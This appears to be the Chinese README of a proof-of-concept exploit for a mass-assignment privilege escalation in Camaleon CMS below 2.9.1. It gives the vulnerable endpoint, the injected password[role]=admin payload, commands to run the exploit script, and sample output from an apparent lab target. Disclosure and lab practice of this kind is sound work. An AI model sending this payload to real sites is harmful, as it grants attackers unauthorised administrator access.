针对Camaleon CMS < 2.9.1中批量赋值权限提升漏洞的概念验证漏洞利用。认证的低权限用户可以通过注入角色参数提升为管理员。
Camaleon CMS < 2.9.1 中的权限提升漏洞。
UsersController中的updated_ajax端点未经过滤直接调用params.require(:password).permit!,允许任意参数被批量赋值。已认证的低权限用户可以通过在密码更改请求中注入password[role]=admin来将权限提升为管理员。
/admin/users/<id>/updated_ajax 发送 PATCH 请求,并在密码参数中注入 password[role]=admin。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
示例:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.